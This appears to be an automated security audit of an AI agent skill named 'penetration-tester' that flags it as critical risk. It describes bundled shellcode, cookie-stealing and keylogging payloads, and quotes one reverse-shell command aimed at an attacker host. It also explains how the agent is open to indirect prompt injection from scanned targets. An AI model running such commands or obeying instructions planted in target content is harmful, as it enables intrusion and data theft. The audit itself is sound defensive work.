penetration-tester

Fail

Audited by Gen Agent Trust Hub on Apr 21, 2026

Risk Level: CRITICALCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: Multiple Python scripts in the skill execute external security tools by spawning subprocesses with arguments derived from user input.
  • Evidence: scripts/auth_test.py, scripts/recon_scan.py, scripts/sql_injection_test.py, scripts/vuln_scan.py, scripts/web_app_test.py, and scripts/xss_test.py utilize subprocess.run() to execute binaries such as nmap, sqlmap, hydra, gobuster, and zap-cli.
  • [REMOTE_CODE_EXECUTION]: The reference material contains functional shellcode and exploit payloads that are flagged as malicious by security scanners.
  • Evidence: references/attack_vectors.md includes hexadecimal shellcode designed to spawn a /bin/sh shell and examples of buffer overflow exploitation. Automated scans flagged this file as 'Python:Agent-RX [Trj]'.
  • [DATA_EXFILTRATION]: The skill provides explicit instructions and code for exfiltrating sensitive information to external servers.
  • Evidence: references/attack_vectors.md documents payloads for cookie stealing via fetch() and keylogging, as well as reverse shell commands (nc -e /bin/sh attacker_ip 4444) flagged by YARA signatures.
  • [PROMPT_INJECTION]: The skill is highly vulnerable to indirect prompt injection due to its core workflow of processing data from untrusted external targets.
  • Ingestion points: The agent ingests data from target URLs, including web content and scanner outputs (found in scripts/recon_scan.py and scripts/web_app_test.py).
  • Boundary markers: No explicit delimiters or instructions are used to prevent the agent from obeying instructions embedded in target responses.
  • Capability inventory: The skill possesses extensive capabilities including network scanning, authentication brute-forcing, and vulnerability exploitation tools.
  • Sanitization: Scripts perform only basic URL protocol validation (checking for http:// or https://) and do not sanitize data retrieved from external targets before processing it.
Recommendations
  • CRITICAL: 1 infected file(s) detected - DO NOT USE
  • AI detected serious security threats
Audit Metadata
Risk Level
CRITICAL
Analyzed
Apr 21, 2026, 08:31 AM
Security Audit — agent-trust-hub — penetration-tester